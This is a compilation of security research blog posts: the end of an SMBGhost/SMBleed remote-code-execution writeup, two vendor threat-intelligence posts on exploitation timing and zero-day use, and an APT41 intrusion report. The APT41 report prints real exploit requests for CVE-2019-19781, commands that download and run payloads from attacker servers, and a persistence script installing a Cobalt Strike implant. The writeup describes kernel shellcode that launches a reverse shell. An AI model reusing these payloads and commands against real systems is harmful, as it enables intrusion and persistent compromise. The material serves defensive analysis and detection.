Technically, we achieved remote code execution, so we could stop here. But if we’re not popping calc or launching a reverse shell, the POC is not complete, so we went on to fill that gap. Since our shellcode runs in kernel mode, we can’t just run cmd.exe or calc.exe and call it a day. We needed to find a way to get our code to run in user mode. While searching for prior work on the topic we found sleepya’s shellcode, written originally for EternalBlue exploits, which is designed to do just that. 

In short, here’s what the shellcode does:

  1. Hook IA32_LSTAR MSR to lower the IRQL (Interrupt Request Level) from DISPATCH_LEVEL to PASSIVE_LEVEL. The shellcode begins execution at the DISPATCH_LEVEL IRQL which imposes several limitations. For more information see the great explanation of zerosum0x0.
  2. Find a privileged user mode process (lsass.exe or spoolsv.exe) and queue a user mode APC in one of the alertable threads that is in waiting state.
  3. In the APC kernel routine, allocate EXECUTE_READWRITE memory and point the APC normal (user mode) routine there. Then copy the user mode shellcode to the newly allocated memory, prepended with a stub to create a new thread.
  4. In the APC normal routine a new thread is created, executing the user mode shellcode.

Published about three years ago, the shellcode didn’t work right away on recent Windows versions, so we had to make a couple of adjustments:

  1. Incompatibility with the KVA Shadow mitigation. In the blog post Fixing Remote Windows Kernel Payloads to Bypass Meltdown KVA Shadow zerosum0x0 explains why the first part of the shellcode, IA32_LSTAR MSR hooking, isn’t supported when the KVA Shadow mitigation is enabled, and proposes a fix. We tried the proposed fix, but it didn’t work on newer Windows versions – zerosum0x0 targeted Windows 10 version 1809 while we were targeting versions 1903 and 1909. The right thing to do is to improve the fix or find another solution, but we just removed the IRQL lowering part. As a result, the POC can sometimes crash the system while trying to access paged memory (bug check IRQL_NOT_LESS_OR_EQUAL), but it doesn’t happen often, so we left it as is since it’s good enough for a POC.
  2. Fixed finding the base address of ntoskrnl.exe. At first, we tried using zerosum0x0’s method – get an address of the first ISR (Interrupt Service Routine), which is located in ntoskrnl.exe, and search for a nearby PE header. The method didn’t work for us since the ISR pointer points to ntoskrnl’s INITKDBG section which is not mapped. Since we already found the ntoskrnl.exe base address, we fixed it by just passing it as an argument to the shellcode.
  3. Fixed a problem with finding the offset of ETHREAD.ThreadListEntry. The original code looked for the current thread in the thread list of the current process. The thread won’t be found if the current thread is attached to a different process than the one it was originally created in (see KeStackAttachProcess).
  4. Fixed the UserApcPending check in the KAPC_STATE struct for Windows 10 version R5 and newer. Since Windows 10 version R5 UserApcPending shares a byte with the newly added bit value, SpecialUserApcPending.

With the above fixed, we finally managed to make the shellcode work, we just needed to fill in the user mode part of the code to run. We used MSFvenom, the Metasploit payload generator, to generate a user mode shellcode to spawn a reverse shell.

Targets with more than one logical processor

In the Observation #1 section of the previous part of the writeup we assumed that our target has only one logical processor. With this assumption, we could rely on the lookaside lists buffer reusing, knowing that we get the same buffer every time as long as the allocation size is the same. As a reminder, the lookaside lists are created upon initialization, a list for each size and logical processor, as depicted in the following table:

→ Allocation size

Logical Processor
0x1100 0x2100 0x4100 0x8100 0x10100 0x20100 0x40100 0x80100 0x100100
Processor 1 📝 📝 📝 📝 📝 📝 📝 📝 📝
Processor 2 📝 📝 📝 📝 📝 📝 📝 📝 📝
Processor n 📝 📝 📝 📝 📝 📝 📝 📝 📝

Each cell with the “📝” symbol is a separate lookaside list.

With more than one logical processor, things are a bit more complicated – we get the same buffer only as long as the allocation is made on the same logical processor. Our first attempt at overcoming this limitation was redundancy. When writing to one of the lookaside list buffers, write multiple times. When reading from one of the lookaside list buffers, read multiple times and choose the most common value. This approach would work if the logical processor usage was distributed evenly, but we found that it’s not the case. We tested our POC in VirtualBox, and from our observations, some logical processors are preferred over others. For a setup of 4 logical cores, here’s the distribution of handling the incoming packet in a test execution:

Logical processor Incoming packets handled
Logical processor 1 0.2%
Logical processor 2 0.8%
Logical processor 3 7.9%
Logical processor 4 91.1%

Here’s the distribution of handling the decompression:

Logical processor Decompressions executed
Logical processor 1 13.3%
Logical processor 2 5.1%
Logical processor 3 6.8%
Logical processor 4 74.8%

As you can see, in this specific case logical processor 4 did most of the work. Logical processor 1 handled only 1 out of every 500 incoming packets!

We tweaked the POC such that it sends several packets simultaneously from multiple threads to improve the logical processor usage distribution. We also added error detection, so that if the data that is read doesn’t make sense, another reading attempt is made instead of proceeding and most likely crashing the system. The changes we made were enough to make the POC work with VirtualBox targets with multiple logical processors, but from a quick test the POC doesn’t work with VMware targets or (at least some) physical computers with multiple logical processors. We didn’t try to improve the POC further to support all targets, which we believe can be achieved with a better strategy for a reading and writing order.

Our POC with the improvements can be found in the GitHub repository.

If you’d like to study the code, we suggest starting with the initial, less noisy version which was designed for a single logical processor. It can be found in a previous commit here.

ZecOps Detection

ZecOps classify forensics logs related to this issue as #SMBGhost and #SMBleed. You can find more information on how to use ZecOps solutions for Endpoints & Servers, Mobile devices, or applications. Besides SMBleed / SMBGhost, ZecOps Crash Forensics solutions can find other, previously unknown vulnerabilities, that are exploited in the wild. If you care about persistent threats – we’ll be happy to assist.


You can remediate the impact of both issues by doing one of the following:

  • Applying the latest security issues (recommended)
  • Block port 445 / enforce host-isolation
  • Disable SMBv3.1.1 compression


This is the third and final part of the writeup, in which we used the findings from the previous parts to achieve RCE using SMBGhost and SMBleed. We hope you enjoyed the read. Here’s a recap of the milestones during our research on the SMB bugs:

  1. A write-what-where primitive, demonstrated in our previous research about achieving local privilege escalation.
  2. The discovery of the SMBleed bug, described in the first part of the writeup.
  3. An ability to read memory from the pool buffers allocated by the SrvNetAllocateBuffer function, demonstrated in Part II: Unauthenticated Memory Read – Preparing the Ground for an RCE.
  4. An ability to get the base address of the srvnet.sys module.
  5. An ability to call an arbitrary function.
  6. Arbitrary memory read.
  7. Shellcode execution.

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities.

Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.

Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release

FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.

We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.

Figure 2: Time between vulnerability exploitation and patch issuance

­­­Time Between Disclosure and Patch Release

The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.

Exploitation After Patch Release

While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.

Time to Exploit for Vulnerabilities First Exploited after a Patch


Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602.


12 percent of vulnerabilities were exploited within the first week following the patch release.

One Month

15 percent of vulnerabilities were exploited after one week but within one month of patch release.


In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.

Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure

Case Studies

We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.

Figure 3: Timeline of activity for CVE-2018-15982

CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.

Figure 4: Timeline of activity for CVE-2018-20250

CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.

Figure 5: Timeline of Activity for CVE-2018-4878

CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.

Availability of PoC or Exploit Code

The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).

Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events



FireEye Risk Rating

1 day




1 day




1 day

Cisco Adaptive Security Appliance



2 days

Apache Struts



2 days

Cisco Adaptive Security Appliance



2 days

Oracle WebLogic Server



2 days

Microsoft Windows Server



2 days




2 days

Atlassian Confluence



Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019

Trends by Targeted Products

FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.

The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.

Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019

Outlook and Implications

The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.

We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

FireEye Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years. While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities. Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region. Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons.

Zero-Day Usage by Country and Group

Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services. Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region.

Examples include:

  • A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East. In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days. From 2016 to 2019, this group used more zero-days than any other group.
  • The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence, has been observed using zero-days in operations against targets in the Middle East. This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days.
  • Throughout 2016 and 2017, activity referred to in open sources as BlackOasis, which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group, demonstrated similarly frequent access to zero-day vulnerabilities.

We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance:

  • In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company.
  • FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team.
  • Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools.

Zero-Day Exploitation by Major Cyber Powers

We have continued to see exploitation of zero days by espionage groups of major cyber powers.

  • According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016.
  • FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878. This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed.
  • From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan. At least three out of six samples were used before the patch for this vulnerability was issued.
  • In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products. 

In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public. In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application. 

Zero-Day Use by Financially Motivated Actors

Financially motivated groups have and continue to leverage zero-days in their operations, though with less frequency than espionage groups.

In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019. Some evidence suggests that the group may have used the exploit since August 2018. While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor "BuggiCorp," we have not identified direct evidence linking this actor to this exploit's development or sale.


We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies. Possible reasons for this include:

  • Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.
  • Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed.

It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets. As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar. 

Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections. This paper also references vulnerabilities and zero-days discussed in open sources including  Google Project Zero's zero-day "In the Wild" Spreadsheet . While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources. Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).

Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/ HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=[redacted]&desc=[%'BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=[redacted]&desc=[%'BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url= [redacted]&desc=[%'BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.




Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','





Figure 6: Contents of

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.


This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.




CVE-2019-19781 Exploitation (Citrix Application Delivery Control)


CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’



Cisco Router Exploitation


‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)





install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)



2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)


TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.


Signature Name

Endpoint Security








Network Security








CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping



Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)


PowerShell (T1086), Scripting (T1064)


New Service (T1050)


Privilege Escalation

